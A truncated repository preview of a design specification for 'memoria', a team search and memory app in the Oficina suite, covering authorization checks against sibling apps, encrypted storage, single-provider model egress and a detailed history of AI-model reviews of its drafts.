oficina / memoria Public

Clone
git clone https://amadan.net/oficina/memoria

Plain git — no account needed to clone.

Download

Download this file

File too large to show in full — download it above (showing a truncated preview below).

1# 🤖 memoria — design
2
3The Oficina suite's memory. One instance per team, at
4`<team>.memoria.oficina.works`.
5
6**Status:** draft 5, 2026-09-04; **amended 2026-09-06** with the suite
7sharing doctrine (Appendix A.4), the TensorX provider decision, §8.4's
8shape, and slice 1's client half. Not draft 6: draft 6 is the eleven
9draft-5 findings, which are still unfixed and still listed in §13.
10
11**Consumed suite rulings.** This spec consumes `oficina/suite`
12`docs/superpowers/specs/2026-09-05-suite-sharing-doctrine.md` at
13**revision 7, commit `2b78680`** — with two amendments adopted since and
14not yet reflected here as a version bump: revision 8 (the module's
15importability, now closed) and **revision 10, which adds `AHEAD`** (§4.1).
16The module this repository pins is `60b01a8`, which is revision 8's merge.
17Gate 9 fails a spec more than one revision behind, so this citation is
18owed a bump the moment the suite's branches merge; they cannot, because
19suite CI is unconfigured (§13). Rulings 1, 3, 4, 6, 7, 9, 14 and 15 are
20cited and never restated (suite ruling 7) — 15 at §5's custody mark, which
21is where "only the `team` rung is team-visible, so custody keys on the rung
22and never on the link" decides what memoria may hold. Not consumed yet: the hand-off
23(suite §7) — §9.1 records why memoria refuses one built on its own
24material — and S8, which needs a designated-area grant memoria has no UI
25for. S6 is cited as a specification; suite §12 step 4 builds it.
26
27Review history, per AGENTS.md §Review. None of these models wrote the
28draft they reviewed; all drafts were written by Opus.
29
30| Draft | Reviewers | Verdict |
31|---|---|---|
32| 1 | GPT Sol (commandcode), Fable | REQUEST CHANGES ×2 — 12 and 21 findings, three structural gaps found by both |
33| 2 | GPT Sol via Codex on a ChatGPT subscription — **it reported its own model id as `gpt-5`, which disagrees with the `gpt-5.6-sol` Codex labelled it; recorded as the discrepancy it is rather than resolved** | REQUEST CHANGES — 4 ANSWERED, 1 REWORDED, 6 PARTIAL, 1 blocker and 6 new findings |
34| 3 | Fable | REQUEST CHANGES — 22 findings. Ten were recorded in §13 as acknowledged and not fixed; draft 4 fixes them. (This row read "none yet" while §13 recorded the review as done; §13 was right.) |
35| 4 | Claude Fable 5.1 (`claude-fable-5-1`) | REQUEST CHANGES — 16 required changes. Draft 5 is those sixteen; §1.6 says where each went |
36| 5 | Dispatched to Fable; **the reviewer reported itself as Claude Opus 5 (`claude-opus-5`), which is the model that wrote drafts 4 and 5.** Recorded as the discrepancy it is, exactly as draft 2's was. If the self-report is right, this review does not satisfy §Review and draft 5 still needs a reviewer that did not write it | REQUEST CHANGES — 11 required changes. 12 of draft 4's 16 findings graded REMOVED; the two the review was told to be hardest on (post-restore, the breaker) came back PARTIAL |
37| 3, §8.3 provider amendment | Fable | REQUEST CHANGES — 4 MAJOR, 4 MINOR, 2 NIT. All applied; §1.7 records what it changed |
38| 3, §8.4 and decisions 13–14 | Fable | REQUEST CHANGES — 5 MAJOR, 4 MINOR, 1 NIT. All applied. It found §8.4's central argument resting on a misreading of §6.5 and §4.1; §1.8 records what it changed |
39| 3, gate 17 + live-key verification | Fable | REQUEST CHANGES — 3 MAJOR, 4 MINOR, 3 NIT. All applied. **It mutation-tested gate 17 itself** and found five idioms the gate blessed, including one that served a declared path outside the session gate; §1.9 records what it changed |
40| 3, suite doctrine adoption (A.4) | Fable | **REQUEST CHANGES — 1 BLOCKER, 9 MAJOR, 3 MINOR, 1 NIT.** All applied. The blocker: §4.1 adopted a custody intersection that was not the doctrine's, could not fail, and left the leak it claimed to close. §1.10 records what it changed |
41| slice 1's S2 client, gates 33 and 21, the merge | Fable | **REQUEST CHANGES — 8 MAJOR, 4 MINOR.** All applied. It found a conflict marker committed into `.gitignore` (which `make ci` cannot see), an egress exemption paid by a test that did not exist, "one predicate" untrue of production, `S7` reintroduced by the merge into the sections that retire it, and four green mutations in the sibling client — including a silent value that rendered a count. §1.11 records it |
42
43§1.2 records what the draft-1 reviews changed, §1.3 what the draft-2
44review changed, §1.4 what the review of the built code changed, §1.5 what
45the draft-3 review changed, and §1.6 what the draft-4 review changed.
46**§1.7 to §1.10 record the suite strand** — the provider decision, §8.4's
47shape, the gate review and the doctrine adoption — which ran in parallel
48on its own branch and merged on 2026-09-06.
49**Draft 5 has been reviewed once, with the attribution caveat in the table
50above, and returned REQUEST CHANGES. Its eleven required changes are NOT
51yet fixed** — they are recorded in §13 under "Draft-5 review, not yet
52fixed", the same way draft 3's ten were, rather than quietly carried.
53Draft 6 is those eleven, and four of them wait on the NEEDS PAUL rulings.
54
55Numbers in §7 are now measured rather than asserted, and recorded in
56`docs/BENCHMARKS.md` with the machine and command. Doing that found draft
572's FTS figure wrong by half.
58
59---
60
61## 0. The one rule
62
63> **memoria never speaks a passage without asking whoever owns it
64> whether this person may see it, right now.**
65
66Draft 1 said *"memoria indexes only what the whole team can already see,
67and it never speaks a passage without re-checking that this is still
68true"*. Both reviewers showed that sentence does not survive contact with
69the suite: "the whole team" is not one fact (§1.2 gap 1), and the
70re-checking was specified for generated answers but not for ordinary
71search (§1.2 gap 2).
72
73The rule above replaces it, and it splits by provenance because the suite
74does:
75
76- **Content copied from a sibling app** — the sibling is the authority.
77 memoria asks it about *this person* on every path that speaks a
78 passage. memoria evaluates nothing.
79- **Content that has no other owner** — Notion, Drive, forwarded mail,
80 uploads. There is nobody to ask, so **memoria is the app of record**.
81 What that authority consists of is §4.2's two facts and nothing else —
82 the asker is admitted, and the document is present and not deleted.
83 **memoria holds no per-person grants**, here or anywhere: holding them
84 would be the authorization model §4.3 says it does not have. Drafts 1
85 through 4 all said "its own grants are authoritative", which named a
86 table that does not exist and never will.
87
88The second rule is Sheets' rule, unchanged: **the bucket never holds a
89plaintext cell.** For memoria this binds harder than it looks, because an
90embedding is a plaintext cell in a costume — §3.1.
91
92---
93
94## 1. Settled decisions (don't relitigate casually)
95
96| # | Decision | Rejected alternative | Who, when |
97|---|---|---|---|
98| 1 | **The suite is the app; the team is the boundary; the implementer declares the process set.** A team's instances of sheets, docs, calendar and memoria are one trust domain. | Four boundaries, one per process — memoria could then hold only person-initiated snapshots, stale the moment taken | Paul, 2026-09-03 |
99| 2 | **Not a doctrine change.** CARLOS apps to date have been single processes, so process and app coincided. Oficina's app is a suite. The doctrine is that the implementer chooses the boundary; this is applying it, not amending it. | Filing it as a family ruling at `carlos/pegamento`, the way home §2.3 filed its divergence | Paul, 2026-09-03 |
100| 3 | ~~**Team-visibility is a CUSTODY rule;**~~ **SUPERSEDED 2026-11-01 by Paul (suite revision 10): "Hold private too, check per person."** memoria holds every live sibling item, private and granted ones included, and the per-asker check (S2) decides who sees each, on every surface, every request (§8.13). Original row: **Team-visibility is a CUSTODY rule; the per-asker check is the AUTHORIZATION rule.** Nothing enters memoria from a sibling unless it is team-visible there, which bounds what memoria holds. Who may *read* it is asked of the owning app, per person, per query. | Draft 1's "one ACL: is a member of this team", which conflated the two and left membership drifting across four tables | Paul, 2026-09-03, after review |
101| 4 | **Model egress is permitted to one named provider**, per-team opt-in, fixed by the team owner, named on every answer **and on every derived artefact** (widened 2026-09-05 under suite **§8's binding sentence**, which says "every artefact it produced" and means it — ruling 6's own row says "disclosed", so the phrase is §8's and the citation should not borrow the ruling's number for it — an answer is transient, a §5.2 artefact outlives the query and is regenerated when a source changes, so it can carry a different provider from the one that first made it), disclosed in the README's first paragraph. | No egress at all; OpenRouter choosing per question; a local model only | Paul, 2026-09-03. **The derived-artefact widening is not his**: raised by the memoria session and adopted into A.4 on 2026-09-05, and he has not ruled on it — §13 |
102| 5 | **The search floor works with AI switched off**, and is the product. **With AI off, nothing leaves the instance at all** — which §3.2 shows is a larger difference than draft 1 realised. | An answer-first product with search as a fallback | AGENTS.md §Authorship, applied |
103| 6 | **Embeddings and FTS5 postings are content.** They never reach replicated SQLite or the bucket unsealed. | Treating a vector as a derived artefact outside §0's scope, on the grounds that no plaintext bytes appear | Fable trust pass, adopted 2026-09-03 |
104| 7 | **Every SIBLING call is a pull. memoria exposes no sibling-facing surface.** Its ingest endpoint serves external connectors only, which are memoria-owned content, not a sibling push. | An outbox per sibling; and draft 1's §9, which specified the push surface this decision forbids | Fable contract pass; corrected after review |
105| 8 | **Provenance or deletion, at `(id, revision)` granularity.** A derived artefact whose provenance stops resolving *or whose source changed* is deleted or regenerated. memoria never fine-tunes. | Draft 1's id-level rule, which left "the Q3 target is X" standing after the source said Y | Fable ingestion pass; corrected after review |
106| 10 | **memoria never does arithmetic. A number comes from a cell, or from Sheets' engine via S6.** S6 takes an enumerated function over cell refs — never expression text — so memoria is never a formula author. | memoria computing and showing its working (a second calculator, arrived at one `mean` at a time); writing a formula into a scratch sheet (a write, forbidden by §6.4) | Paul asked for numeric questions, 2026-09-03; shape ruled by Fable and GPT Sol independently, converging |
107| 11 | ~~**Admission is derived from the siblings.**~~ **SUPERSEDED 2026-09-05 by suite ruling 4** — the home owns identity, the team and the membership roster; instances pull it (suite call 8) and memoria admits from that roster in suite shape, from the owners list in lone shape. S7 is retired. The old rule was right that memoria holds no members table of its own and wrong about where the answer comes from, and it made a guest a member: "at least one sibling says MEMBER" has no value for someone on no roster. §4.3. **The owners carve-out survives the supersession and is still stated rather than discovered:** the platform-configured owners list the app refuses to start without bypasses the roster entirely. It admits operators, is fixed at provisioning, does not grow, and carries a revocation tail nothing measures: the 15-minute figure it used to cite was S7's cache, which no longer exists, and the roster's TTL does not apply to a list the roster never contained. **An owner's removal is a redeploy, and that is the honest statement of the tail.** Under ruling 4 that is no longer an exception to S7 but the whole of lone-shape admission, and in suite shape it sits beside the roster rather than inside it. | Draft 2's own members table, which left a person removed everywhere else still able to read memoria-owned content; and, for the carve-out, leaving it implicit in §2 and §4.3, where drafts 3 and 4 left it and where it read as a contradiction rather than a carve-out | after the draft-2 review, 2026-09-03; carve-out recorded explicitly 2026-09-04; superseded 2026-09-05 |
108| 12 | **Name: `memoria`.** House convention is plain Spanish office nouns. A *memoria* is both a memory and, in Spanish office usage, a written record. | `archivo`; `cerebro`; `base`; anything English | Paul, 2026-09-03 |
109| 13 | **The provider is TensorX, and memoria supports exactly one.** A team owner's choice is on or off, not which — a configurable base URL would let an owner reinstate a proxy while the answer still printed "one named provider". Chosen for EU jurisdiction and open weights, criteria decision 4 did not state, at a known cost in id-pinning and frontier quality (§8.3). | OpenRouter (a proxy: two parties see content); OpenAI direct (better id-pinning, worse jurisdiction and cost) | Paul, 2026-09-04, both halves — *"we go with exactly one for now: TensorX. If we want to swap that later we can."* Swapping the *generation* provider is a code change and a review, not a setting; swapping the *embedding* provider is that plus a full corpus re-embed unless the new host serves the same open weights (§8.3, §13) |
110| 14 | **memoria is a search page, not a chat.** One GET search form, `?q=`, one query in and one page out, with `/documents/{id}` as the only other passage surface. This follows from decision 5, not from decision 3 — §8.4's invariant is what decision 3 requires, and a conversational surface could satisfy it. | A chat UI with citations; a threaded follow-up. Deferred to §12, not forbidden — the invariant forbids the leak, this row chooses the shape | Spec author, 2026-09-04, answering a question Paul asked; **confirmed by Paul 2026-09-05**, parking the conversational surface in §12 rather than forbidding it |
111| 15 | ~~**The fact box calls no model, ever.**~~ **AMENDED BY PAUL, 2026-09-19.** **Paul's ruling:** *"do as much as possible with deterministic analysis, and then attempt to build metadata with the best value models via TensorX that make sense"* — asked specifically whether a postal address, which has no validator, should be extractable by a model, and answering yes in general terms. **The implementation constraints are the spec author's, proposed and not ruled:** extractive only; every value a byte-exact span of a sent passage; a model never touches a validator-backed kind; labels never model-written; model rows marked 🤖 and named; `model.cheap` as the initial tier. §8.8 (the deterministic layer), §8.9 (the model half) | The strict reading, which was the spec author's and not Paul's and which this row carried from 2026-09-14 to 2026-09-19: it made "has a checksum" the boundary of the feature rather than the boundary of the deterministic layer | **The ruling is Paul's, 2026-09-19.** The constraints listed in the first column are the author's and §13 records them as open to his override |
112
113**Three of these are now suite rulings, and this spec cites them rather
114than restating them.** Decision 1 is **suite ruling 1**, decision 3 is
115**ruling 3**, decision 4 is **ruling 6**. They are unchanged in substance;
116what changed is where they live. Suite ruling 7 is why: every app spec
117restating the contract in its own words is what drifted, so an app spec
118cites the doctrine and never restates one. Where a row below still carries
119the reasoning, that is history and not a second copy — the binding text is
120the doctrine's, at `oficina/suite`, revision 7, commit `2b78680`.
121
122**Decision 11 is superseded** by ruling 4, and decisions 13 and 14 are
123memoria's own and stand: suite §8 adopts 13's "the recipient is the app's,
124never the team's", and ruling 3's "never cached, at any scope" is the
125invariant 14 rests on.
126
127### 1.1 The proposal review, and what it killed
128
129Before draft 1 existed, the *proposal* — ingest everything, store a
130per-viewer copy, route to whichever model OpenRouter picks — was reviewed
131and rejected on six counts. Four attached to one choice, *store a
132per-viewer copy*. They remain live traps for anyone widening this design.
133
134- **A per-viewer ACL on a synthesised answer is not expressible.** Sheets
135 §4.5's access is a hand-written grants join; memoria cannot evaluate it
136 and a copy drifts. **Killed by decision 3** — memoria now evaluates
137 nothing, it asks.
138- **Revoke has a weeks-long tail.** Sheets §9.1.1: the outbox drains on
139 wake and on share mutation, "not on a ticker… a failed upsert may wait
140 weeks". **Killed by decisions 3 and 7**: authorization is asked live,
141 never cached, never pushed.
142- **The home cannot query memoria.** Home §0, home §2.2. **Accepted, not
143 worked around** — §9.2.
144- ~~**Blocked on person refs** (home §13 step 4).~~ **No longer true, and
145 it was the more expensive kind of wrong.** S2 needs a *typed asker
146 subject* (suite §3), which in lone shape is a lowercased address; sibling
147 tokens are a switch independent of the home token. So slice 1 runs
148 against Sheets and Docs before any home exists — suite §12 steps 2 and 3.
149 memoria had recorded itself blocked on something that was not in its way.
150 Corrected 2026-09-05 via A.4; §11.
151
152**A citation note.** That review is recorded in session memory and in
153this section; it is **not** in any repo file, so a reader cannot open it.
154Draft 1 cited it as though it were a document. Nothing here should rest
155on it that is not also argued here.
156
157### 1.2 What the two reviews changed
158
159Three structural gaps, each found by both reviewers independently.
160
161**Gap 1 — membership was four unreconciled tables.** Sheets has its own
162`members`, Docs its own `memberships`, memoria its own. The home is
163forbidden from being the authority (home §2.2: "Never holds an
164authorization model") and no home call carries membership between
165instances. Draft 1's §4 claimed a person removed from the team is
166"refused at the door with zero latency"; in fact removing them in Sheets
167did nothing to memoria, and memoria kept serving them Sheets content.
168Draft 1's S2 asked *"is item X team-visible?"*, never *"is this asker
169entitled to it?"*.
170
171The one-ACL ruling did kill per-item drift. It moved the drift onto the
172**membership** predicate, and draft 1 did not notice.
173
174**Fixed by decision 3:** S2 now carries the asker. memoria asks the
175owning app *"can person P see items X at revision R?"*, and that app
176answers from the grants join it already maintains. Membership and
177visibility become one question answered by the only correct evaluator, so
178there is nothing left to reconcile.
179
180**Gap 2 — the search floor bypassed the gate.** `GET /query` returns
181passages with or without `answer=1`, and nothing required the
182passage-only path to call S2. §0's promise therefore held for generated
183answers — the smaller half of the product — and not for search, which
184decision 5 calls the product itself. **Fixed by §8.1:** one gate, both
185paths.
186
187**Gap 3 — external sources had no owner to ask.** Drive, Notion, mail and
188uploads cannot map their native ACLs onto team-visibility, and draft 1
189gave them no re-check at all; revocation surfaced only on a later
190enumeration diff, and memoria runs no timers. Draft 1's claim that it
191"forgets exactly when the sources do" was false for exactly the sources
192§3.3 says make memoria a bigger target.
193
194**Fixed by §0's split:** for this content there is nobody to ask, so
195memoria owns it outright, and §4.2 says so instead of implying a re-check
196that cannot exist. Drafts 1–4 wrote that fix as "its own grants are
197authoritative rather than a copy". That sentence was the defect it was
198written to remove, one section over: it names a per-person grants table,
199memoria has none, and §4.2's authority is admission plus presence.
200
201Beyond the three, both reviews found the same arithmetic errors (§7), the
202same contradiction between §9 and decision 7, and the same over-claim in
203§6.3. GPT Sol alone found the restore-serves-deleted-content ordering bug
204(§7.4) and the missing token-rotation handover (§6.2). Fable alone found
205that the README was false about egress volume (§3.2) — the single most
206product-damaging finding of the two.
207
208### 1.3 What the draft-2 review changed
209
210Draft 2 was reviewed by GPT Sol via Codex. It confirmed five fixes as
211answered (the search bypass, the pull/push contradiction, the barrier
212count, the rotation protocol, the corpus-count inconsistency) and found
213one blocker plus six live findings. Draft 3 answers them as follows.
214
215**The blocker is not mine to close, and that is the honest position.**
216memoria declares the suite one trust domain and pulls plaintext bodies
217from siblings. Three source specs currently forbid exactly that — home
218§2.2 *"Never federates. Data does not cross an instance boundary."*,
219Sheets PRODUCT.md principle 3 *"Never design a flow that implies data can
220move to another instance"*, Docs §8.2 *"'Sharing is membership' forbids
221data crossing the instance boundary."* **memoria cannot overturn another
222app's settled decision in its own table.** Decision 1 is Paul's ruling and
223stands, but it binds Oficina only once the source specs adopt it. Threads
224are open (§13); until they are answered, slice 1 is blocked on agreement,
225not on code.
226
227**"Nothing left to reconcile" was still false.** S2 fixed sibling
228content, but admission used memoria's own members table and so did
229memoria-owned content — so a person removed from Sheets and Docs, and left
230in memoria, could still read the team's Notion, Drive, mail and uploads.
231**Fixed by decision 11:** admission is derived from the siblings.
232
233**A stale revision is not a denial.** Draft 2 mapped it to
234`NOT_VISIBLE`, which §4.1 silently omits — recreating the
235plausible-empty-list failure the same draft claimed to have removed.
236**Fixed by adding `STALE`** (§4.1), which withholds loudly and refetches.
237
238**S3 could not do what it promised.** It took `(id, revision)` with no
239asker, yet claimed the sibling "re-runs its grants join at fetch time".
240There was no person in the call. **Fixed by deleting the claim, not by
241adding a person:** S3 takes no asker, and §6.1 spells out why — custody is
242person-less, so the call that fills the corpus can be made at all, and a
243per-person S3 would have made ingest impossible.
244
245*This paragraph said the opposite until 2026-09-05 — "S3 carries the
246person ref too" — while §6.1 three sections later said it does not. Both
247could not be right, and the summary was the wrong one. Caught by the suite
248doctrine's review of memoria (A.4), which is the third time in this
249document that a §1 summary and its own body have disagreed.*
250
251**Derived artefacts had no algorithm for external or mixed provenance** —
252S2 exists only at siblings. **Fixed** in §5.2.
253
254**Restore had no durable deletion state.** Replaying tombstones from a
255restored backup replays a log that predates the deletion, and retiring the
256superseded snapshot leaves a restored database pointing at a blob that is
257gone. **Fixed** in §7.4.
258
259**Live authorization had no availability design** — no deadline, no
260concurrency policy, no partial-result contract, on the product's primary
261path. **Fixed** in §6.5, and it is the finding most likely to change the
262product rather than the spec.
263
264**The gates were weaker than the claims.** Gate 5 proved an
265authorization call happened, which stays green with a constant `VISIBLE`
266or the wrong person ref. **§10 rewritten** accordingly.
267
268One finding was withdrawn by the reviewer on its own second look (S2
269transport failures needing a separate finding), and its substance is
270folded into gate 6 anyway.
271
272### 1.4 What the code review changed
273
274Slice 0 was built, then reviewed by Fable — the first review of the code
275rather than the design. It found the spec broadly honest and the sealed
276store real, and the gates that were supposed to prove it mostly unable to
277fail. Three consequences reach this document.
278
279**§3.2 gained two entries.** The sign-in dial, which made a claim in §3.6
280false; and the `external_id` oracle, which put a plaintext-derived
281identifier in a column §3.2 described as coordinates.
282
283**§3.6's AI-off sentence was wrong.** "Nothing leaves this instance" is
284not true of an app whose sign-in asks a stranger's domain a question.
285"No document leaves" is, and is still the claim worth making.
286
287**§7's chunker description was aspirational.** What was built dropped
288headings in the commonest Markdown form. The spec now describes the
289chunker that exists.
290
291The general lesson, and it belongs here because §10 is built on the
292opposite assumption: **three of five gates marked "mutation-tested" could
293not fail for the thing they named.** A gate is a claim about the world,
294and an unmutated gate is an unverified claim — including, twice on this
295branch, a gate whose subject had been deleted while it stayed green.
296
297### 1.5 What the draft-3 review changed
298
299Draft 3 was reviewed by Fable: 22 findings, REQUEST CHANGES. Ten were
300recorded in §13 as acknowledged and not fixed rather than quietly
301carried, and draft 4 is those ten: **six weak predicates, two plain gaps,
302one warm-up that could not be made, and one correction made inside the
303draft itself.** Draft 4 wrote "those ten" over a list that added to nine,
304because the warm-up and the correction were folded together; they are two
305items and are counted as two below.
306
307**Six were a predicate that could not fail.** `MEMBER` meant "known to
308this app", so a guest satisfied it. `MIXED_UNITS` could not fire on three
309cells formatted `General`, so a wrong average got certified. The circuit
310breaker's "*everything*" fired on the routine case, so its notice would
311be learned and ignored before the day it was true. Gate 2 named "a
312threshold" and never gave one. Gate 4's credential half asserted the
313absence of a link the test app never sends. The S7 cache had no TTL, so
314it took `rastrillo/auth`'s 30 days by omission. Each is AGENTS.md's rule
315about guards written to pass, arriving in a different costume — and the
316missing TTL is the other rule as well: a default is not a decision, the
317way a failed count is not a zero.
318
319**Draft 4's answer is to make each of them fail by default.** A unit is
320certified rather than contradicted (§8.7). Admission requires a positive
321statement of team membership, and a sibling that cannot make that
322statement admits nobody (§4.3). A gate asserting an absence must first
323assert the presence of the thing whose absence it checks (§10). Where a
324number was missing, draft 4 gives one and says what it costs.
325
326**Two were plain gaps rather than weak guards.** S2 had no value for a
327sibling that is *behind* memoria, which a restore produces and which fell
328through to the one silent value — fixed by `AHEAD` (§4.1). And derived
329provenance was not transitive, so two hops laundered what one hop cannot
330— fixed by flattening provenance to roots at generation time (§5.2).
331
332**One was a warm-up that could not be made.** §6.5 had memoria fire a
333warm-up `S7` on its own wake. `S7` takes a person ref and there is nobody
334there on a wake, so no fixture could ever have received that call. The
335warm-up is an `S1` poll now, which is the call that already has no asker
336— and which a gate can therefore observe (gate 24).
337
338**And one is §1.4's lesson repeating itself inside the same draft.** The
339warm-up error is draft 2's per-person `S3` again, made three sections
340after the correction for it was written, in the same document, by the
341same author. It is counted separately because it is a different kind of
342finding: the item above is a call that has to change, this one is the
343observation that writing a correction does not inoculate the next
344section against the mistake it corrects. §10's two rules exist because of
345it.
346
347### 1.6 What the draft-4 review changed
348
349Draft 4 was reviewed by Claude Fable 5.1, which wrote none of the drafts:
350REQUEST CHANGES, 16 required changes. Draft 5 is those sixteen. Four
351groups, and the first is the one that matters.
352
353**A fix that renamed its problem instead of removing it.** Draft 4
354rewrote §8.1's circuit breaker because draft 3's fired on the routine
355case, and the rewrite's prose promised "a property of the sibling, not of
356one asker" — while its predicate still counted zero `VISIBLE` across
357whoever happened to query that day. A 24-hour outage of `UNKNOWN`s
358therefore tripped the *refusal* breaker; three Docs-only members querying
359on a day the Sheets user was away tripped it too. The predicate counts
360`NOT_VISIBLE` now, and the signal is a per-asker transition (§8.1). This
361is the third time this project has shipped prose that claimed more than
362its predicate delivered, which is why it is first.
363
364**A silent-omission hole in the fix for a silent-omission hole.**
365`AHEAD` was added in draft 4 to stop a sibling's restore reading as an
366empty list. Draft 4 then specified no reconciliation: chunks at revisions
367the sibling no longer has were withheld one at a time, forever, while
368still consuming top-k — so a page of 50 could render nearly empty with no
369notice, the cardinal sin arriving through the door `AHEAD` was cut to
370close. §4.1 now specifies the re-announce as a complete statement,
371retirement under gate 7's rule, revision override in either direction,
372and the removal of a reconciling source from the ranking. Gate 27 is new
373and holds all of it.
374
375**Three contradictions the drafts carried rather than resolved.** §8.7
376said both that S6 is called only when units are certified and that S6
377returns `UNIT_UNKNOWN`; memoria certifies now and S6 does not (§8.7).
378§2 said memoria holds the owners list and holds no roster four lines
379apart; the owners list is not a roster and decision 11 now carries it as
380a stated exception. And "memoria's own grants are authoritative" survived
381in three places after §4.2 established there are no per-person grants —
382the same defect draft 3 shipped between §2 and decision 11, relocated
383(§0, §1.2, gate 18).
384
385**Nine gates that could not fail for the thing they named,** which is
386§1.4's lesson landing on §10 itself: gate 2 asserted an absence with no
387presence assertion, gate 4 named a route from memory, gate 23's
388concurrency half was always-red or never-red on its own fixture, gate 24
389raced the first query, gate 25's field-name regex let `principal` and
390`who` through, and gate 26 named the instance key where the code
391fingerprints under the DEK — verified in `internal/memoria/store.go`,
392which calls `s.sealer.Fingerprint`, and the sealer holds the DEK. A gate
393that goes red on correct code is worse than no gate.
394
395### 1.7 What the provider review changed
396
397The §8.3 amendment — OpenRouter out, TensorX in — was written by Opus and
398reviewed by Fable, which returned REQUEST CHANGES with four MAJOR findings.
399Two of them are the same mistake in different clothes, and it is the
400mistake §1.4 is about: **stating a rule and then breaking it in the
401paragraph that states it.**
402
403**§8.2 wrote a pinning rule its own selections failed.** The rule — a model
404id that can move under a team without the team changing it cannot be
405printed on an answer — is right, and generalises `openrouter/auto`'s
406disqualification properly. Then it selected `moonshotai/kimi-k3` and
407`z-ai/glm-5.3-flash`, neither datestamped, both plausibly aliases over
408dated checkpoints. The fix is a datestamped id where one exists, gate 30's
409canary where none does, and §13 recording that the vendor's id-immutability
410policy is unread. The draft had even quoted the one datestamped id in the
411catalogue as evidence — and it was the model it did not pick.
412
413**§8.3 claimed as established what §13 called untested**, three paragraphs
414apart. Worse, the verification it proposed could not have established it:
415the live call settles whether one model *name* is proxied, not whose GPUs
416run the weights. "One contractual counterparty" is not "one organisation
417sees the corpus" — a subprocessor sees content in §3.2's sense — so the
418claim is now written as narrowed rather than closed.
419
420**§7.2 specified a gate that could not fail.** It said a mutation of the
4214096→512 renormalise would be caught by watching recall fall. But cosine
422similarity is scale-invariant: against a true cosine, skipping the
423renormalise changes no ranking, and the gate stays green forever. The spec
424had never said whether search computes cosine or a raw dot product. It now
425says dot product — which is what §7.3's flop count always assumed — and
426gate 28 asserts unit norm deterministically instead of inferring it from
427quality. This is the fourth gate in this project to have been written in a
428shape that could not go red, and the first caught before it was built.
429
430**Decision 13 exists because of this review.** The amendment named a
431provider in §8.3 without recording the ruling in §1, which AGENTS.md says
432is how a settled decision gets relitigated in a drive-by.
433
434The general lesson, distinct from §1.4's: **a rule and its first
435application should be reviewed by different people.** Whoever writes the
436rule has just persuaded themselves, and is the worst-placed reader to
437notice that the very next paragraph fails it.
438
439### 1.8 What the second provider review changed
440
441The §8.4 amendment — *memoria is a search page, not a chat* — was reviewed
442by Fable, which returned REQUEST CHANGES with five MAJOR findings. The
443ruling survived; the argument for it did not, and the way it failed is
444worth more than the ruling.
445
446**The case was built on a misreading of this spec.** §8.4 claimed a chat
447could not be built correctly, because re-authorizing a transcript each turn
448would breach §6.5's deadline. §4.1 caps a batch at **256 pairs per call**
449and §6.5 says **one page is one round of concurrent calls, the floor is the
450slowest sibling and not their sum**. A four-turn transcript of eight
451passages is 32 pairs: one batch, one round, the same floor as a fresh
452query. A correct chat is affordable. The draft had also conceded the point
453in the act of denying it — *"re-authorizing the whole transcript on every
454turn is the only correct version"* says a correct version exists.
455
456**Its other argument proved too much.** *A chat transcript is a cache of
457authorized passages* — true, and equally true of a search results page left
458open in a tab, and of `/documents/{id}`, which renders a whole document and
459stays open indefinitely. That is a fact about rendered pages, not about
460chat; it now sits in §3.2's leak list where it applies to everything.
461
462**What survived is narrower and enforceable.** The real rule is about
463**re-speaking**: no passage crosses a request, in a response or in a model
464prompt, without §4.1 in the request that carries it. That is decision 3
465applied to rendering, it is what §8.5 already said about the model, and
466gate 32 asserts it against the prompt builder. Carrying query *text*
467forward breaks nothing.
468
469**And the shape is a choice, so it is recorded as one.** Decision 14 rests
470on decision 5 — the search floor is the product — not on decision 3. A
471conversational surface that keeps the invariant is deferred to §12, to be
472argued on its merits. The row is attributed to the spec author with Paul
473unconfirmed, because unlike decision 13's two halves it was not his ruling.
474(He confirmed it on 2026-09-05; the attribution stands as written, since
475who *made* a ruling and who *approved* it are different facts.)
476
477The lesson, distinct from §1.4's unfailable gates and §1.7's rule broken in
478the paragraph that states it: **a preference will always find a rule that
479seems to compel it.** The search page was the right answer for
480decision 5's reasons. Reaching past those for decision 3 made a choice look
481forced, and cost two misread sections to do it. When a constraint arrives
482conveniently, check it against the text rather than the memory of the text.
483
484### 1.9 What the gate review changed, and the rule it produced
485
486The branch's third review covered gate 17 and the live-key verification.
487Fable returned REQUEST CHANGES with three MAJOR findings, and one of them
488is the most useful thing any review has done here.
489
490**It mutation-tested the gate itself.** Gate 17 shipped with a comment
491naming three mutations, each verified red. A reviewer took the test into a
492scratch copy and tried five more — all ordinary chi and `ServeMux` idioms,
493none exotic — and **all five passed green.** `r.Route("/chat", …)` was
494blessed by the declared `"/"` inside it. `r.With(mw).Post` was invisible
495because the receiver is a call, not an identifier. `r.Delete` passed on a
496path declared only for GET. `r.Handle("/")` bound every method at once. And
497`mux.HandleFunc("/documents", …)` served a **declared** path while
498bypassing `requireSession` — worse than an undeclared route, because the
499allowlist actively approved it.
500
501**The rule that follows, and it belongs in AGENTS.md:** mutation-testing
502your own gate tests the mutations you thought of, and those are the ones
503you already defended against while writing it. Three green mutations chosen
504by the author is not evidence the gate works; it is evidence the author is
505consistent. **The mutations must be chosen by someone who did not write the
506gate.** This is §Review's argument, one level down: the reviewer of a rule
507should not be its author, and neither should the adversary of a test.
508
509The rewrite keys on method *and* path — which §10's own list had declared
510all along and the test had not implemented — and separates the chi and
511`ServeMux` namespaces. Eight mutations now, all verified. The rewrite also
512nearly shipped its own bug: following an arbitrary selector chain to find
513the receiver made `r.URL.Query().Get("err")` resolve to `r`, reporting two
514query parameters as undeclared routes. Caught by running it.
515
516**The other two MAJORs are the familiar shape.** §8.3 still asserted
517TensorX "runs the weights it serves" on the strength of a 403 that had no
518control probe — the reading recorded was the middle of three, and the worst
519one is that the model name is in their routing table and merely gated. And
520two of Paul's four rulings were announced as recorded in QUESTIONS while
521being in neither §1 nor §13, with the interpretation of the load-bearing
522one living only in a commit message. That is §1.8's failure by omission:
523the strong reading asserted where reviewers do not look.
524
525### 1.10 What the adoption review changed, and where an adoption goes wrong
526
527A.4 was reviewed three times in the suite repo before memoria adopted it.
528memoria's *application* of it was then reviewed once, by Fable, and came
529back REQUEST CHANGES with a blocker and nine majors. The distribution is
530the lesson.
531
532**The blocker was a rule invented while citing the section that forbade
533it.** §4.1 needed the custody intersection. The doctrine puts it in the
534**app of record, inside S2**: the sibling runs its grants join for the
535named asker and then answers `NOT_VISIBLE` for anything not team-visible.
536memoria wrote instead that it would render a passage when S2 says
537`VISIBLE` **and** the item was team-visible *when acquired* — a rule that
538is **vacuous** (everything memoria holds came through S3, which serves
539only team-visible items, so the second half is true of every held item),
